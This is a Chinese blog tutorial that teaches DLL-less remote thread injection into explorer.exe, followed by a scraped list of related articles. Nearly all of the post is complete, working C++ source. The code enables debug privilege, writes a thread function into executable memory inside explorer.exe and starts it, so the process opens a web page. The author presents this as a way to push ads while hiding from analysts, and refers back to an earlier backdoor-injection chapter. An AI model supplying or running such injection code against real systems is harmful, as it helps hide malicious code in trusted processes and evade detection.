安全之路 —— 无DLL文件实现远程线程注入
简介
在之前的章节中,笔者曾介绍过有关于远程线程注入的知识,将后门.dll文件注入explorer.exe中实现绕过防火墙反弹后门。但一个.exe文件总要在注入时捎上一个.dll文件着实是怪麻烦的,那么有没有什么方法能够不适用.dll文件实现注入呢?
答案是有的,我们可以直接将功能写在线程函数中,然后直接将整个函数注入,这个方法相较之于DLL注入会稍微复杂一些,适用于对一些体积比较小的程序进行注入。但是要注意动态链接库的地址重定位问题,因为正常的文件一般会默认载入kernel32.dll文件,而不会载入其他DLL,且只有kernel32.dll与user32.dll文件可以保证在本地和目的进程中的加载地址是一样的,所以最好要在远程线程函数中手动利用LoadLibrary和GetProcessAddress函数强制加载一遍DLL文件。Visual Studio在编译此类功能的文件时建议关闭编译器的“/GS”选项,还要其他需要注意的地方可参考此链接。
下面我们借助此方法实现让Windows资源管理器explorer.exe实现弹网页(发广告)的功能,而分析人员却无法从程序依赖的动态链接库中找到我们注入线程用的DLL文件,达到了一定的隐藏效果。
代码实现
//////////////////////////////
//
// FileName : InjectProcess.cpp
// Creator : PeterZheng
// Date : 2018/8/18 0:35
// Comment : Inject Process Without Dll File
//
//////////////////////////////
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <string>
#include <string.h>
#include <windows.h>
#include <strsafe.h>
#include <tlhelp32.h>
#define MAX_LENGTH 50
#define NORMAL_LENGTH 20
#pragma warning(disable:4996)
using namespace std;
//远程线程函数参数
typedef struct _RemoteParam
{
CHAR szOperation[NORMAL_LENGTH];
CHAR szAddrerss[MAX_LENGTH];
CHAR szLb[NORMAL_LENGTH];
CHAR szFunc[NORMAL_LENGTH];
LPVOID lpvMLAAdress;
LPVOID lpvMGPAAddress;
LPVOID lpvSEAddress;
}RemoteParam;
//远程线程函数(主体)
DWORD WINAPI ThreadProc(RemoteParam *lprp)
{
typedef HMODULE(WINAPI *MLoadLibraryA)(IN LPCTSTR lpFileName);
typedef FARPROC(WINAPI *MGetProcAddress)(IN HMODULE hModule, IN LPCSTR lpProcName);
typedef HINSTANCE(WINAPI *MShellExecuteA)(HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd);
MLoadLibraryA MLA;
MGetProcAddress MGPA;
MShellExecuteA MSE;
MLA = (MLoadLibraryA)lprp->lpvMLAAdress;
MGPA = (MGetProcAddress)lprp->lpvMGPAAddress;
lprp->lpvSEAddress = (LPVOID)MGPA(MLA(lprp->szLb), lprp->szFunc);
MSE = (MShellExecuteA)lprp->lpvSEAddress;
MSE(NULL, lprp->szOperation, lprp->szAddrerss, NULL, NULL, SW_SHOWNORMAL);
return 0;
}
//获取PID
DWORD GetProcessID(CHAR *ProcessName)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot error");
return 0;
}
BOOL bProcess = Process32First(hProcessSnap, &pe32);
while (bProcess)
{
if (strcmp(strupr(pe32.szExeFile), strupr(ProcessName)) == 0)
return pe32.th32ProcessID;
bProcess = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return 0;
}
//获取权限
int EnableDebugPriv(const TCHAR *name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken))
{
printf("OpenProcessToken Error!\n");
return 1;
}
if (!LookupPrivilegeValue(NULL, name, &luid))
{
printf("LookupPrivilege Error!\n");
return 1;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
printf("AdjustTokenPrivileges Error!\n");
return 1;
}
return 0;
}
//远程线程注入函数
BOOL InjectProcess(const DWORD dwPid)
{
if (EnableDebugPriv(SE_DEBUG_NAME)) return FALSE;
HANDLE hWnd = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (!hWnd) return FALSE;
RemoteParam rp;
ZeroMemory(&rp, sizeof(RemoteParam));
rp.lpvMLAAdress = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "LoadLibraryA");
rp.lpvMGPAAddress = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "GetProcAddress");
StringCchCopy(rp.szLb, sizeof(rp.szLb), "Shell32.dll");
StringCchCopy(rp.szFunc, sizeof(rp.szFunc), "ShellExecuteA");
StringCchCopy(rp.szAddrerss, sizeof(rp.szAddrerss), "https://www.baidu.com");
StringCchCopy(rp.szOperation, sizeof(rp.szOperation), "open");
RemoteParam *pRemoteParam = (RemoteParam *)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteParam) return FALSE;
if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) return FALSE;
LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteThread) return FALSE;
if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) return FALSE;
HANDLE hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0, NULL);
if (!hThread) return FALSE;
return TRUE;
}
//主函数
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
CHAR szProcName[MAX_LENGTH] = "\0";
StringCchCopy(szProcName, MAX_LENGTH, "explorer.exe");
InjectProcess(GetProcessID(szProcName));
ExitProcess(0);
return 0;
}
安全之路 —— 无DLL文件实现远程线程注入的更多相关文章
- 安全之路 —— 无DLL文件实现远程进程注入
简介 在之前的章节中,笔者曾介绍过有关于远程线程注入的知识,将后门.dll文件注入explorer.exe中实现绕过防火墙反弹后门.但一个.exe文件总要在注入时捎上一个.dll文件着实是怪麻烦的,那 ...
- 安全之路 —— 借助DLL进行远程线程注入实现穿墙与隐藏进程
简介 大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文 ...
- 详细解读:远程线程注入DLL到PC版微信
一.远程线程注入的原理 1.其基础是在 Windows 系统中,每个 .exe 文件在双击打开时都会加载 kernel32.dll 这个系统模块,该模块中有一个 LoadLibrary() 函数,可以 ...
- 远程线程注入DLL突破session 0 隔离
远程线程注入DLL突破session 0 隔离 0x00 前言 补充上篇的远程线程注入,突破系统SESSION 0 隔离,向系统服务进程中注入DLL. 0x01 介绍 通过CreateRemoteTh ...
- 远程线程注入DLL
远程线程注入 0x00 前言 远程线程注入是一种经典的DLL注入技术.其实就是指一个新进程中另一个进程中创建线程的技术. 0x01 介绍 1.远程线程注入原理 画了一个图大致理解了下远程线程注入dll ...
- 远程线程注入dll,突破session 0
前言 之前已经提到过,远线程注入和内存写入隐藏模块,今天介绍突破session 0的dll注入 其实今天写这个的主要原因就是看到倾旋大佬有篇文章提到:有些反病毒引擎限制从lsass中dump出缓存,可 ...
- 远程线程注入方法CreateRemoteThread
最近在整理学习Windows注入方面的知识,这个远程注入前面早写过,现在看看人家博客的理解整理,整理, 需要源码的可以到我的github上下载. 链接是 https://github.com/Ars ...
- windows-CODE注入(远程线程注入)
远程线程注入(先简单说,下面会详细说)今天整理下代码注入(远程线程注入),所谓代码注入,可以简单的理解为是在指定内进程里申请一块内存,然后把我们自己的执行代码和一些变量拷贝进去(通常是以启线程的方式) ...
- mfc HackerTools远程线程注入
在一个进程中,调用CreateThread或CreateRemoteThreadEx函数,在另一个进程内创建一个线程(因为不在同一个进程中,所以叫做远程线程).创建的线程一般为Windows API函 ...
随机推荐
- DP的学习
DP在ACM的算法里面可算是重中之重,题目类型千变万化,题目难度差异也很大.是一种很讲究技巧的算法,而且代码实现相对容易,1y率非常高(除有些bt数据外).总之DP就是一向非常重要,又非常博大精深的算 ...
- java 访问剪切板(读取与设置)
设置文本到剪切板 public void setIntoClipboard(String data) { Clipboard clipboard = Toolkit.getDefaultToolkit ...
- Netty精粹之轻量级内存池技术实现原理与应用
摘要: 在Netty中,通常会有多个IO线程独立工作,基于NioEventLoop的实现,每个IO线程负责轮询单独的Selector实例来检索IO事件,当IO事件来临的时候,IO线程开始处理IO事件. ...
- SQL Server重置INDETITY的开始值
@@IDENTITY 和SCOPE_IDENTITY 返回在当前会话中的任何表内所生成的最后一个标识值.但是,SCOPE_IDENTITY 只返回插入到当前作用域中的值:@@IDENTITY 不受限于 ...
- ssh隧道的妙用
场景说明:A主机和B主机在同一个园区网,A主机可以出公网,B主机不可以出公网.渗透工程师已经拿下A主机控制权. 一.如何在外网访问到B主机 方案:ssh本地端口映射背景:当我们拿下A主机之后想和B主机 ...
- SQL 两个时间获取相差秒数
SELECT DATEDIFF(SECOND, '2005-12-31 23:59:00', '2006-01-01 00:00:00');
- OOA/OOD&UML部分
UML是什么?有哪些常用的图? UML是标准的建模语言:常用图包括:用例图.静态图(包括类图.对象图和包图),行为图.交互图(顺序图.合作图),实现图. 简述一下Singleton模式. Single ...
- PowerDesigner连接SqlServer数据库导出表结构
环境:PowerDesigner15 数据库sql server 2005 第一步.打开PowerDesigner ,建立一个物理数据模型,具体如下图: 第二步.新建成功之后,点击"Data ...
- c# 获取本机IP
/// <summary> /// 获取本机IP /// </summary> /// <returns></returns> public stati ...
- MVC架构介绍-序列化属性
实例产品基于asp.net mvc 5.0框架,源码下载地址:http://www.jinhusns.com/Products/Download 在设计时,如果能够预测到一些实体可能在后续的研发(或二 ...